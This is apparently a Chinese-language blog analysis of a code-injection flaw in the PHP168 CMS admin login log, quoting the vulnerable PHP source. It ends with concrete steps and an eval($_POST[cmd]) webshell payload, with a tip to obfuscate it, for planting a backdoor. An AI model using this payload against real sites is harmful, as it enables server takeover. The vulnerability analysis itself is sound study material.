天天看點

PHP168 CMS的一次新異漏洞分析

admin/global.php對背景管理的使用者名與密碼沒有任何過濾産生了這個漏洞

if( $_POST[loginname] && $_POST[loginpwd] )

{

if( $webdb[yzImgAdminLogin] ){

if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){

die("<A HREF=?>驗證碼不符合</A>");

}else{

set_cookie("yzImgNum","");

}

$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");

if(!$rs){

login_logs($_POST[loginname],$_POST[loginpwd]);

setcookie("Admin",'',0,"/");

die("<A HREF=?>使用者不存在</A>");

}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){

die("<A HREF=?>密碼不正确</A>");

}elseif(!$rs[uid]){

Add_memberdata($_POST[loginname]);

login_logs($_POST[loginname],md5($_POST[loginpwd]));

$_COOKIE[Admin]="$rs[uid]/t".mymd5($rs[password]);

//@include(PHP168_PATH."cache/warn.php");

setcookie("Admin",$_COOKIE[Admin],0,"/");

我們看這一段,

如果使用者名與密碼不對,也一樣寫入(login_logs),我們跟下這個函數

function login_logs($username,$password){

global $timestamp,$onlineip;

$logdb[]="$username/t$password/t$timestamp/t$onlineip";

@include(PHP168_PATH."cache/adminlogin_logs.php");

$writefile="<?php /r/n";

$jj=0;

foreach($logdb AS $key=>$value){

$jj++;

$writefile.="/$logdb[]=/"$value/";/r/n";

if($jj>200){

break;

write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);

漏洞出來了,我們先看這一句,$writefile="<?php /r/n"; $writefile這個變量總是會用PHP檔案的"<?php"來開始,也就是說被寫入的檔案一定是PHP檔案,這樣子才能被include來使用,關鍵點了!!!!為了include,這個漏洞就産生了,foreach($logdb AS $key=>$value) 這裡是周遊循環一個數組,面這個數組值并不是唯一由登入時傳入的使用者名與密碼産生的數組,而是由include包含的以前登入過的使用者名與密碼一起聯合成的數組!!!就是因為include這裡包含,當include裡面包含時,如果裡面有"/""(反邪扛後面跟一個雙引号),那們裡面的反邪扛就起作用了,比如裡面的數組是

$logdb[]="/"?>;<?phpinfo?> usual 1184814802 192.168.128.192";

當他被include後,就會變成

$logdb[]=""?>;<?phpinfo?> usual 1184814802 192.168.128.192";

這樣子就可以B合前面的一個雙引了

OK,這個漏洞還是比較有意思的,比一般的SQL注入等有新意思,是以就分析下了.

好我,明白原理了,大家也知道如何利用了吧?

第一次,我們在使用者名與密碼那裡登入分别送出

/"?>;<?eval($_POST[cmd])?> ******( 密碼随便亂寫)

(最好把<?eval($_POST[cmd])?>先base64再gzdeflate)

第二次我們隻要随便輸入使用者名與密碼,就可以成功拿到一個一句話後門了

總結: 檔案包含可以讓自動過濾掉反邪扛,是php的BUG還是?

PS:此漏洞已經有有公布過,但未公布其中原理,今天無意中看到發現者(忘記是誰了)對此漏洞的描述,加班無聊就分析了下